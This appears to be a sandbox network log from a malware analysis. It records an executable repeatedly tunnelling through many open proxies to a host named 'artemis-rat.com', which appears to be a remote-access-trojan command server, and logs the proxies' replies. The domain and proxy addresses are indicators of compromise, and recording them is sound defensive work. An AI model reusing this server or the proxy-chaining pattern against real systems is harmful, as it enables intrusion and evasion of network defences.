Mar 11, 2024 03:30:56.921468973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.5	52723	201.170.180.188	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.790712118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.973701000 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.5	49919	186.103.130.93	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.791024923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.104439020 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.5	52705	212.89.188.115	21231	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.792841911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.112190008 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Sun, 03 Mar 2024 15:29:50 GMT Expires: Sun, 03 Mar 2024 15:29:50 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.5	52582	194.233.78.142	49628	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.796544075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.797270060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852328062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.921492100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.5	52704	113.161.56.137	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.797566891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.253318071 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.5	54067	116.199.168.1	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.801404953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.5	49978	165.227.196.37	53718	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.818773031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905210972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.998819113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.092715979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.5	54184	200.111.182.6	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.819142103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.5	54185	200.111.182.6	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.824501991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.5	54091	82.165.105.48	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.824800968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:09.926081896 CET	705	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:09 GMT Server: Apache Content-Length: 529 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 6e 65 77 76 6f 69 63 65 2e 63 68 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@newvoice.ch to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:10.588279963 CET	705	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:09 GMT Server: Apache Content-Length: 529 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 6e 65 77 76 6f 69 63 65 2e 63 68 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@newvoice.ch to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:11.540992975 CET	705	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:09 GMT Server: Apache Content-Length: 529 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 6e 65 77 76 6f 69 63 65 2e 63 68 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@newvoice.ch to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:13.369271994 CET	705	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:09 GMT Server: Apache Content-Length: 529 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 6e 65 77 76 6f 69 63 65 2e 63 68 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@newvoice.ch to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Mar 11, 2024 03:31:17.025649071 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:09 GMT Server: Apache Content-Length: 529 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 6e 65 77 76 6f 69 63 65 2e 63 68 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@newvoice.ch to inform them of the time this erro
Mar 11, 2024 03:31:20.681304932 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:09 GMT Server: Apache Content-Length: 529 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 6e 65 77 76 6f 69 63 65 2e 63 68 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@newvoice.ch to inform them of the time this erro
Mar 11, 2024 03:31:24.337564945 CET	705	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:09 GMT Server: Apache Content-Length: 529 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 6e 65 77 76 6f 69 63 65 2e 63 68 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@newvoice.ch to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.5	54186	200.111.182.6	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.827052116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.5	54187	200.111.182.6	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.830065012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.5	53686	168.126.74.132	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.854548931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:20.562784910 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
Mar 11, 2024 03:31:21.427655935 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
Mar 11, 2024 03:31:22.387366056 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
Mar 11, 2024 03:31:24.243488073 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
